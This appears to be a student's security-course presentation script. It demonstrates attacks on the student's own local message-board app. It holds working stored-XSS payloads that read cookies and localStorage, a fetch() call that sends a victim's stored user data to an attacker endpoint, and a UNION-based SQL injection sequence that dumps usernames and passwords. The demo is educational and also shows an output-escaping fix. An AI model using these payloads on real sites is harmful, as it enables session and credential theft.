Ben Rombaut

3510700

CS4417 - Presentation

**Users**

|  |  |
| --- | --- |
| **Username** | **Password** |
| brombaut | testing123 |
| jdoe | password |
| jsmith | jsmith |

**Steps**

1. **Explain what the App is**This is a simple little web app I made that just allows users to log in and post messages. They can see what other people have posted. Nothing special.
2. **Explain how an HTML page works**Just for anyone who isn't familiar with this stuff, when I hit refresh, the browser makes a GET request to this URL, which is port 3000 on localhost, which basically just refers to THIS computer. You can see here that I have my server currently listening on port 3000.   
     
   So, when the server receives a GET request for the root path, it handles it here (look at the server code). What this does is query the database for all users and posts in the system, and then returns a rendered HTML page with that data. I'm just a templating engine called EJS to generate the HTML for the page, and then send it back to the browser.  
     
   When the browser receives it, it reads through the file and renders the content based on the HTML tags.
3. **Create a post with HTML tags**Now, whenever web developers handle user input, they should be doing some form of data sanitization, otherwise they are vulnerable to cross site scripting attacks.  
     
   So you can see that there is a textarea here where the user can enter text, and it is displayed on the page. If I post another message but I include these bold tags, we can see that the text in between the tags is bold. This is bad news for whoever made this app.
4. **Create a post with Script tags**Now, just being able to modify how the text looks isn't very useful. But there is a special tag in HTML called a 'script' tag. You can put JavaScript in between the script tag, and the browser won't render any elements, but rather will execute the JavaScript. So lets put a console log in between a script tag and see what happens.  
     
   Nothing happens. So, you'll notice that the page didn't refresh when we posted that message, but rather the HTML just got appended to the page. Now, the browser is smart enough to not execute script tags that get appended to the document once it has already been rendered.   
     
   But what happens if we refresh the page...and there we go. So the browser read through the document that was returned from the server, saw the script tags, and executed the JavaScript.
5. **Explain Local Storage**Something else you may have noticed is that when I refreshed the page, I did not have to log back in. The page remembered who I was. You'll also see that if I log out and then try to hit the previous route, I get redirected to the login page. This tells me that this app is using some method to save its state between page reloads.  
     
   Two main things to try.  
     
   **<script>console.log(document.cookie)</script>**So there isn't anything being saved as a cookie.  
     
   **<script>console.log(Object.keys(localStorage))</script>**  
     
   Ok, so out of these options, most of them are functions that are contained in the localStorage prototype, but this 'user' key is interesting. Lets see if we can log this.  
     
   **<script>  
    console.log(JSON.parse(localStorage.getItem('user')))  
   </script>**
6. **Making a request to the server**Now this is all interesting and stuff, but I already know my own account details. What I want is to steal other people’s details. So what I've done is set up my own server with a single endpoint.   
     
   **let params = {  
    headers: {  
    'content-type': 'application/json; charset=UTF-8'  
    },  
    body: JSON.stringify({ content: localStorage.getItem('user') }),  
    method: 'POST',  
   }  
   fetch('http://127.0.0.1:3001/victim', params)**Now whenever another user logs in, a request will be sent out to my attacker server that contains their user information.
7. **Fixing it**So there are lots of ways to try and sanitize your user inputs correctly, lots of different places to do it, and lots of ways to be incomplete about it. I mentioned earlier that I had used a templating engine called EJS to generate the HTML for my site, and I happen to know that this framework contains features to sanitize my inputs for me.  
     
   Change <%- to <%=  
     
   Show on the returned index file that the < and > are now escaped.
8. **SQL Injection**You also may have noticed that there is a 'Search' option on the app. This allows users to search for posts that might contain the text they are searching for.  
     
   '  
     
   ' UNION (SELECT 1, 2, 3 FROM dual); --  
     
   ' UNION (SELECT TABLE\_NAME, TABLE\_SCHEMA, 3 FROM information\_schema.tables); --  
     
   ' UNION (SELECT COLUMN\_NAME, 2, 3 FROM information\_schema.columns WHERE TABLE\_NAME = 'users'); --  
     
   ' UNION (SELECT username, password, first\_name FROM users); --